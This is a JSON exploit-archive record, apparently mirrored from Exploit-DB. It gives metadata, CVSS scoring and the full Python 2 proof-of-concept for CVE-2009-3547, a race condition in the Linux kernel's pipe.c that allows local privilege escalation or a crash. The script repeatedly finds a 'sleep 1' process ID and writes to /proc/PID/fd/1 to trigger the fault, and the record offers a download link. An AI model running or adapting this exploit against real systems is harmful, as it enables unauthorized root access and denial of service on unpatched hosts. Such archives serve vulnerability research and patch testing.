{"exploit":{"id":"EDB-9844","name":"Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (LPE)","description":"Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (LPE)","cves":["CVE-2009-3547"],"author":"Matthew Bergin","published":"2009-11-05","platform":"linux","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9844","path":"exploits/linux/local/9844.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9844.py","vulnerabilities":[{"id":"CVE-2009-3547","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system crash) or gain privileges by attempting to open an anonymous pipe via a /proc/*/fd/ pathname.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3547","cvss":{"version":"3.1","baseScore":7,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3547"},"updatedAt":"2024-08-07T06:31:10.441Z","retrievedAt":"2026-11-26T23:10:12.549Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9844.png?v=2","url":"https://exploitbin.com/exploits/EDB-9844","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9844/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9844/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# This is a PoC based off the PoC release by Earl Chew (Updated by Brian Peters)\n# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability\n# PoC by Matthew Bergin\n# Bugtraq ID:       36901\n#\n# E-DB Note: Exploit Update v2 ~ https://github.com/offensive-security/exploitdb/pull/82/files\n\nimport os\nimport time\nimport random\nimport subprocess\n#infinite loop\ni = 0\nx = 0\nwhile (i == 0):\n        os.system(\"sleep 1\")\n        while (x == 0):\n                time.sleep(random.random()) #random int 0.0-1.0\n                p = subprocess.Popen([\"ps -elf | grep 'sleep 1' | grep -v 'grep' | awk '{print $4}'\"], stdout=subprocess.PIPE, shell=True)\n\t\tresult = p.stdout.read()\n\t\tpid = result.replace('\\n', '').replace('\\r', '')\n                if (pid == \"0\"): #need an active pid, race condition applies\n                        print \"[+] Didnt grab PID, got: \" + pid + \" -- Retrying...\"\n                        break\n                else:\n                        print \"[+] PID: \" + pid\n                        loc = \"echo n > /proc/\" + pid + \"/fd/1\"\n                        os.system(loc) # triggers the fault, runs via sh","sha256":"b7e4fdd0155f44ec7109dc9586ec418fa84413a5ccbdf82c9502a5391abd53d0","bytes":1122,"fetchedAt":"2026-11-27T01:10:55.391Z","encoding":"utf-8 (display only; download retains original bytes)"}